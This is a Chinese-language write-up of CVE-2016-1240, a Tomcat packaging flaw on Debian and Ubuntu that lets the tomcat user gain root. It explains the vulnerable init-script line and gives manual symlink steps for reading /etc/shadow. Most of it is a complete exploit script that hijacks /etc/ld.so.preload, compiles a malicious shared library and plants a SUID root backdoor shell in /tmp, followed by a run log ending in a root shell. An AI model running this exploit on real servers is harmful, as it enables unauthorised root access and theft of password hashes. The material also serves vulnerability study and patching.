Tomcat最新本地提权漏洞

漏洞原理

在Debian系统中利用apt-get安装Tomcat时，程序会自动创建一个自动脚本，该脚本位于/etc/init.d/tomcat*,代码如下171  # Run the catalina.sh script as a daemon172  set +e 
 
173  touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
174 chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
175 start-stop-daemon --start -b -u "$TOMCAT7_USER" -g "$TOMCAT7_GROUP" \
176 -c "$TOMCAT7_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" \
177 -x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH"
178 status="$?"
179 set +a -e
问题出在174行，Tomcat服务再启动时，会将log文件catalina.out的所有者改为Tomcat用户，而启动脚本通常由root用户调用。如果将catalina.out修改为指向任意文件的链接将会导致***者以高权限随意读取任意系统文件。

漏洞影响范围

Tomcat 8 <= 8.0.36-2
Tomcat 7 <= 7.0.70-2
Tomcat 6 <= 6.0.45
受影响的系统包括Debian,Ubuntu,其他使用相应deb包的系统也可能受到影响。

漏洞复现

漏洞复现所用环境

系统版本:Ubuntu 16.04
Tomcat版本:Tomcat7
安装源:系统自带源

安装Tomcat

#sudo apt-get install tomcat7

安装完成后会自动创建tomcat7用户。

修改tomcat7用户权限，默认不允许登录的。

#sudo usermod -s /bin/bash -G sudo tomcat7
#passwd tomcat7 #设置密码，不设置无法使用sudo提升权限
#su tomcat7

切换用户，相当于模拟拿到shell后的情况，一个低权限用户。

开始利用漏洞

切换到catalina.out目录下

#cd /var/log/tomcat7/
#ln -fs /etc/shadow /var/log/tomcat7/catalina.out #做一个链接将/etc/shadow 链接到catalina.out
#head catalina.out

此时应该时禁止读取catalina.out的内容的。

重启Tomcat(比较扯淡的条件 ....)

#sudo service tomcat7 restart

重启后就可以读取catalina.out的内容了。

#head catalina.out

Poc(以下部分没有亲自测试)

原文链接

#!/bin/bash## Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit## CVE-2016-1240## Discovered and coded by:## Dawid Golunski# http://legalhackers.com## This exploit targets Tomcat (versions 6, 7 and 8) packaging on # Debian-based distros including Debian, Ubuntu etc.# It allows attackers with a tomcat shell (e.g. obtained remotely through a # vulnerable java webapp, or locally via weak permissions on webapps in the # Tomcat webroot directories etc.) to escalate their privileges to root.## Usage:# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]## The exploit can used in two ways:## -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. # It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)## -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to # /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. # Attackers can come back at a later time and check on the /etc/default/locale file. Upon a # Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can# then add arbitrary commands to the file which will be executed with root privileges by # the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default # Ubuntu/Debian Tomcat installations).## See full advisory for details at:# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html## Disclaimer:# For testing purposes only. Do no harm.#
 BACKDOORSH="/bin/bash"BACKDOORPATH="/tmp/tomcatrootsh"PRIVESCLIB="/tmp/privesclib.so"PRIVESCSRC="/tmp/privesclib.c"SUIDBIN="/usr/bin/sudo"
 function cleanexit {    # Cleanup 
    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $TOMCATLOG
    touch $TOMCATLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload 2>/dev/null    fi
    echo -e "\n[+] Job done. Exiting with code $1 \n"
    exit $1} 
function ctrl_c() {        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
    cleanexit 0} 
#intro echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"
 # Argsif [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
    exit 3fiif [ "$2" = "-deferred" ]; then
    mode="deferred"else
    mode="active"fi
 # Priv checkecho -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"id | grep -q tomcatif [ $? -ne 0 ]; then
    echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
    exit 3fi
 # Set target pathsTOMCATLOG="$1"if [ ! -f $TOMCATLOG ]; then
    echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n"
    exit 3fiecho -e "\n[+] Target Tomcat log file set to $TOMCATLOG"
 # [ Deferred exploitation ]
 # Symlink the log file to /etc/default/locale file which gets executed daily on default# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been# restarted and file owner gets changed.if [ "$mode" = "deferred" ]; then
    rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
    if [ $? -ne 0 ]; then
        echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
        cleanexit 3
    fi
    echo -e  "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
    echo -e  "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`"
    echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"
    echo -ne "\n    you'll be able to add arbitrary commands to the file which will get executed with root privileges"
    echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)
 \n\n"
    exit 0fi
 # [ Active exploitation ]
 trap ctrl_c INT# Compile privesc preload libraryecho -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"cat <<_solibeof_>$PRIVESCSRC#define _GNU_SOURCE#include <stdio.h>#include <sys/stat.h>#include <unistd.h>#include <dlfcn.h>uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
    }    return old_geteuid();
}
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldlif [ $? -ne 0 ]; then
    echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;fi
 # Prepare backdoor shellcp $BACKDOORSH $BACKDOORPATHecho -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
 # Safety checkif [ -f /etc/ld.so.preload ]; then
    echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
    cleanexit 2fi
 # Symlink the log file to ld.so.preloadrm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOGif [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
    cleanexit 3fiecho -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
 # Wait for Tomcat to re-open the logsecho -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."echo -e  "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)
 "while :; do 
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload        break;    fidone
 # /etc/ld.so.preload file should be owned by tomcat user at this point# Inject the privesc.so shared library to escalate privilegesecho $PRIVESCLIB > /etc/ld.so.preloadecho -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
 # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"sudo --help 2>/dev/null >/dev/null 
# Check for the rootshellls -l $BACKDOORPATH | grep rws | grep -q rootif [ $? -eq 0 ]; then 
    echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
    echo -e "\n\033[94mPlease tell me you're seeing this too ;)
  \033[0m"else
    echo -e "\n[!] Failed to get root"
    cleanexit 2fi
 # Execute the rootshellecho -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"$BACKDOORPATH -p 
# Job done.cleanexit 0

Poc运行实例

tomcat7@ubuntu:/tmp$ id
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

tomcat7@ubuntu:/tmp$ lsb_release -aNo LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04 LTS
Release:	16.04
Codename:	xenial

tomcat7@ubuntu:/tmp$ dpkg -l | grep tomcat
ii  libtomcat7-java              7.0.68-1ubuntu0.1               all          Servlet and JSP engine -- core libraries
ii  tomcat7                      7.0.68-1ubuntu0.1               all          Servlet and JSP engine
ii  tomcat7-common               7.0.68-1ubuntu0.1               all          Servlet and JSP engine -- common files

tomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out 
 Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
CVE-2016-1240

Discovered and coded by: 

Dawid Golunski 

http://legalhackers.com[+] Starting the exploit in [active] mode with the following privileges: 
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

[+] Target Tomcat log file set to /var/log/tomcat7/catalina.out[+] Compiling the privesc shared library (/tmp/privesclib.c)

[+] Backdoor/low-priv shell installed at: 
-rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh

[+] Symlink created at: 
lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload

[+] Waiting for Tomcat to re-open the logs/Tomcat service restart...
You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)
 

[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: 
-rw-r--r-- 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload

[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

[+] The /etc/ld.so.preload file now contains: 
/tmp/privesclib.so[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!

[+] Rootshell got assigned root SUID perms at: 
-rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh

Please tell me you're seeing this too ;)
  

[+] Executing the rootshell /tmp/tomcatrootsh now! 

tomcatrootsh-4.3# id
uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)
tomcatrootsh-4.3# whoami
root
tomcatrootsh-4.3# head -n3 /etc/shadow
root:$6$oaf[cut]:16912:0:99999:7:::
daemon:*:16912:0:99999:7:::
bin:*:16912:0:99999:7:::
tomcatrootsh-4.3# exitexit